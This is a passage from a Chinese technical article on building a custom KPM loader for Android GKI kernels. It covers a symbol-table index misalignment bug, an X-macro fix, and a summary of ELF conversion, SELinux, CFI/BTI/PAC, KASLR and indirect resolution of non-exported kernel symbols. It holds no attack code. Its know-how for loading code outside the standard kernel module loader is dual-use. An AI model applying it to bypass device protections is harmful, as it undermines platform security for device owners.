14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但初始化代码中却写成了：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2471" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">21</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_sp_el0_is_current;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">22</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_thread_info_in_task;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">23</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_sp_el0_is_thread_info;</span></code></pre><p data-line="2547" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从某个索引开始，表项和初始化代码整体错位。</span></p><p data-line="2549" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">结果就是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2481" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">KPM 想解析 printk</span><span leaf=""><br/></span><span leaf="">实际拿到 sp_el0_is_current</span></code></pre><p data-line="2556" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后续再叠加“函数指针变量地址层级”的问题，就会表现成非常混乱的跳转崩溃。</span></p><p data-line="2558" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">至少要保证表声明和初始化顺序完全一致：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2490" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">21</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_printk_ptr;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">22</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_hook_unwrap_remove;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">23</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_sp_el0_is_current;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">24</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_thread_info_in_task;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">25</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_sp_el0_is_thread_info;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">26</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_thread_size;</span><span leaf=""><br/></span><span leaf="">local_syms[</span><span style="color: rgb(0, 128, 0);"><span leaf="">27</span></span><span leaf="">].addr = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)&amp;kp_task_in_thread_info_offset;</span></code></pre><p data-line="2570" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更好的方式是使用 X-Macro 或集中式表定义，避免声明和初始化分离。</span></p><p data-line="2572" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2504" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> LOCAL_SYM_TABLE(X)                 \</span><span leaf=""><br/></span><span leaf="">    X(printk,                &amp;kp_printk_ptr) \</span><span leaf=""><br/></span><span leaf="">    X(hook_unwrap_remove,    kp_hook_unwrap_remove) \</span><span leaf=""><br/></span><span leaf="">    X(sp_el0_is_current,     kp_sp_el0_is_current) \</span><span leaf=""><br/></span><span leaf="">    X(thread_info_in_task,   kp_thread_info_in_task)</span></span></code></pre><p data-line="2582" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然后用同一张表同时生成：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">符号名数组</span></p></li><li><p><span leaf="">地址初始化代码</span></p></li><li><p><span leaf="">调试输出</span></p></li><li><p><span leaf="">索引枚举</span></p></li></ul><p data-line="2589" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">平行维护的列表是 bug 温床。</span></p><p data-line="2591" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">只要中间插入或删除一次元素，就可能造成后续所有索引整体错位。</span></p><p data-line="2593" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">符号表这种核心数据结构，必须尽量做到单一事实来源。</span></p><h2 data-line="2678" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6 全文总结</span></h2><p data-line="2597" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这条链路从用户态编译产物开始，先解决</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.o</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">的ELF边界，再进入安卓GKI设备上的安全机制适配，最后落到KPM Loader在内核空间自行解析、重定位和执行KPM二进制。表面看是“把文件加载起来”，实际每一步都在补齐原本由Kbuild、链接器、内核模块加载器和架构代码共同承担的工作。</span></p><p data-line="2599" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">离线转换阶段的核心问题是格式正确性。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.so</span></code><span leaf="">是ET_DYN，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">是ET_REL，二者不是删几个section就能互换。真正可行的路线是从ET_REL输入出发，保留必要段，重建符号表和重定位表，补齐</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.modinfo</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.gnu.linkonce.this_module</span></code><span leaf="">以及ARM64所需的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.plt</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.init.plt</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.ftrace_trampoline</span></code><span leaf="">。其中最关键的数据通道，是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.gnu.linkonce.this_module</span></code><span leaf="">把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cleanup_module</span></code><span leaf="">写入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct module</span></code><span leaf="">中的函数指针位置。</span></p><p data-line="2601" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安卓GKI适配阶段的核心问题是执行环境正确性。SELinux可能让</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insmod</span></code><span leaf="">在文件访问阶段就失败，vermagic后缀必须与目标设备匹配，BTI、PAC、SCS和CFI则要求模块代码必须符合目标内核的控制流和返回地址保护约束。即便内核本身能接受非标准section，厂商驱动也可能依赖传统</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf="">布局，因此CFI_ICALL生成的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.*</span></code><span leaf="">子段还需要通过linker script合并回标准布局。</span></p><p data-line="2603" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">运行时Loader阶段的核心问题是把内核模块加载器的关键能力重新实现一遍。KASLR要求所有kallsyms地址只在单次启动周期内有效；</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_alloc()</span></code><span leaf="">返回的内存要先写入、重定位，再切换到可执行并刷新icache；GKI不保证导出loader需要的关键符号，只能通过已知入口间接解析；AArch64重定位常量、非ALLOC段</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_addr</span></code><span leaf="">、section内指针转换、GOT双重解引用和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">local_syms</span></code><span leaf="">表索引，都必须逐项处理。</span></p><p data-line="2605" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终收敛下来的经验很直接：不能猜目标内核参数，不能假设用户态ELF语义能套进内核，不能把地址层级和section基准混在一起，不能在ARM64上忽略RW与RX的阶段边界，也不能把CFI、BTI、PAC当成编译选项层面的附属问题。KPM Loader要稳定运行，必须同时尊重ELF格式、安卓GKI安全机制、AArch64指令语义和loader自身的数据结构一致性。</span></p><p data-line="2609" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整篇文章看似是在讲把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.so</span></code><span leaf="">变成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">，但真正贯穿其中的主题其实是：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="2541" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">当你试图绕开成熟的内核构建与加载体系时，原本被工具链、内核 loader、链接器和架构代码替你处理掉的细节，会一个不漏地回到你面前。</span></p></blockquote><p data-line="2613" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ELF格式只是第一层。真正困难的是：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">架构安全特性</span></p></li><li><p><span leaf="">内核符号可见性</span></p></li><li><p><span leaf="">relocation 语义</span></p></li><li><p><span leaf="">内存权限模型</span></p></li><li><p><span leaf="">CFI / BTI / PAC 边界</span></p></li><li><p><span leaf="">厂商驱动假设</span></p></li><li><p><span leaf="">编译器生成代码模式</span></p></li><li><p><span leaf="">loader 自身的数据结构一致性</span></p></li></ul><p data-line="2624" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: 